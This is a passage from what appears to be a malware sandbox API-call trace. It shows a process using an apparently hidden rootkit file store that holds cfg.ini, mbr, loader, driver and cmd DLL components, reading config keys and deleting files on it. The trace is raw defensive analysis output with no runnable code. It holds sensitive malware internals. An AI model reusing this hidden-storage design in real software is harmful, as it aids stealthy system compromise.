(_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.738] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.738] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.738] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf81a0 [0126.738] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.738] KeLeaveCriticalRegion () [0126.738] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.738] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.738] KeEnterCriticalRegion () [0126.738] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.738] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0126.738] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.738] KeLeaveCriticalRegion () [0126.738] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.739] KeEnterCriticalRegion () [0126.739] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.739] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.739] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.739] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.739] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0126.739] IdePortDispatch () returned 0x103 [0126.739] KeWaitForMutexObject () returned 0x0 [0126.739] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.739] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.739] KeLeaveCriticalRegion () [0126.739] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.739] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.739] KeEnterCriticalRegion () [0126.739] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.739] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035be000 [0126.739] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.739] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0126.739] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.739] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.739] IdePortDispatch () returned 0x103 [0126.740] KeWaitForMutexObject () returned 0x0 [0126.740] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.740] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.740] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0126.740] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.740] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.740] IdePortDispatch () returned 0x103 [0126.740] KeWaitForMutexObject () returned 0x0 [0126.740] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.740] KeLeaveCriticalRegion () [0126.740] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.740] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.740] KeEnterCriticalRegion () [0126.740] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.740] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0126.740] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.740] KeLeaveCriticalRegion () [0126.741] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.741] KeEnterCriticalRegion () [0126.741] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.741] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0126.741] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfaca0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.741] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.741] KeLeaveCriticalRegion () [0126.741] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.741] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.741] KeEnterCriticalRegion () [0126.741] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.741] ExFreePoolWithTag (P=0xfffffa8003bf81a0, Tag=0x0) [0126.741] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.741] KeLeaveCriticalRegion () [0126.741] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.741] ReleaseMutex (hMutex=0xf0) returned 1 [0126.741] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0126.741] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0126.741] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0126.741] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0126.741] KeEnterCriticalRegion () [0126.741] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.741] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.741] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.741] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.741] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.741] IdePortDispatch () returned 0x103 [0126.741] KeWaitForMutexObject () returned 0x0 [0126.741] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.742] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0126.742] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.742] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.742] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.742] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.742] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.742] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.742] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.742] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0126.742] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.742] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.742] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.742] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.742] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.742] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.742] KeLeaveCriticalRegion () [0126.742] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.742] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0126.742] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0126.742] KeEnterCriticalRegion () [0126.742] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.742] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.742] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.742] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.743] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.743] IdePortDispatch () returned 0x103 [0126.743] KeWaitForMutexObject () returned 0x0 [0126.743] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.743] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0126.743] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.743] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.743] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.743] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.743] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.743] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.743] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.743] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0126.743] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.743] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.743] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.743] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.743] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.743] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.743] KeLeaveCriticalRegion () [0126.743] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.743] ReleaseMutex (hMutex=0x100) returned 1 [0126.743] Sleep (dwMilliseconds=0x2bf20) [0126.750] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6ebe9bb0, dwHighDateTime=0x1d24fa4)) [0126.750] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0126.750] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.750] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0126.750] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.750] KeEnterCriticalRegion () [0126.750] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.750] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.750] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.750] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.750] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.750] IdePortDispatch () returned 0x103 [0126.750] KeWaitForMutexObject () returned 0x0 [0126.750] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.750] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.750] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.750] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.750] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.750] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003acc7d0 [0126.750] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.750] KeLeaveCriticalRegion () [0126.750] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.750] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.750] KeEnterCriticalRegion () [0126.750] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.750] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0126.750] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.750] KeLeaveCriticalRegion () [0126.750] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.750] KeEnterCriticalRegion () [0126.750] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.750] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.750] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.751] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.751] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0126.751] IdePortDispatch () returned 0x103 [0126.751] KeWaitForMutexObject () returned 0x0 [0126.751] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.751] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.751] KeLeaveCriticalRegion () [0126.751] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.751] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.751] KeEnterCriticalRegion () [0126.751] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.751] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035c1000 [0126.751] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.751] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0126.751] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.751] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.751] IdePortDispatch () returned 0x103 [0126.751] KeWaitForMutexObject () returned 0x0 [0126.751] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.751] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.751] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0126.751] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.751] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.751] IdePortDispatch () returned 0x103 [0126.752] KeWaitForMutexObject () returned 0x0 [0126.752] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.752] KeLeaveCriticalRegion () [0126.752] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.752] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.752] KeEnterCriticalRegion () [0126.752] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.752] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0126.752] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.752] KeLeaveCriticalRegion () [0126.753] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.753] KeEnterCriticalRegion () [0126.753] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.753] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0126.753] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003acc890, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.753] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.753] KeLeaveCriticalRegion () [0126.753] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.753] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.753] KeEnterCriticalRegion () [0126.753] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.753] ExFreePoolWithTag (P=0xfffffa8003acc7d0, Tag=0x0) [0126.753] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.753] KeLeaveCriticalRegion () [0126.753] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.753] ReleaseMutex (hMutex=0xf0) returned 1 [0126.753] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.753] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0126.753] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.753] KeEnterCriticalRegion () [0126.753] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.753] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.753] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.753] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.753] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.753] IdePortDispatch () returned 0x103 [0126.753] KeWaitForMutexObject () returned 0x0 [0126.753] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.753] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.753] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.753] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.753] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.753] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8002adc3c0 [0126.753] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.753] KeLeaveCriticalRegion () [0126.753] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.754] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.754] KeEnterCriticalRegion () [0126.754] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.754] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0126.754] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.754] KeLeaveCriticalRegion () [0126.754] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.754] KeEnterCriticalRegion () [0126.754] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.754] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.754] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.754] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.754] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0126.754] IdePortDispatch () returned 0x103 [0126.754] KeWaitForMutexObject () returned 0x0 [0126.754] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.754] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.754] KeLeaveCriticalRegion () [0126.754] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.754] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.754] KeEnterCriticalRegion () [0126.754] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.754] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035c2000 [0126.754] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.754] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0126.754] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.754] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.755] IdePortDispatch () returned 0x103 [0126.755] KeWaitForMutexObject () returned 0x0 [0126.755] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.755] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.755] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0126.755] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.755] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.755] IdePortDispatch () returned 0x103 [0126.755] KeWaitForMutexObject () returned 0x0 [0126.757] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.757] KeLeaveCriticalRegion () [0126.757] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.757] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.757] KeEnterCriticalRegion () [0126.757] ExAcquireFastMutexUnsafe (in: 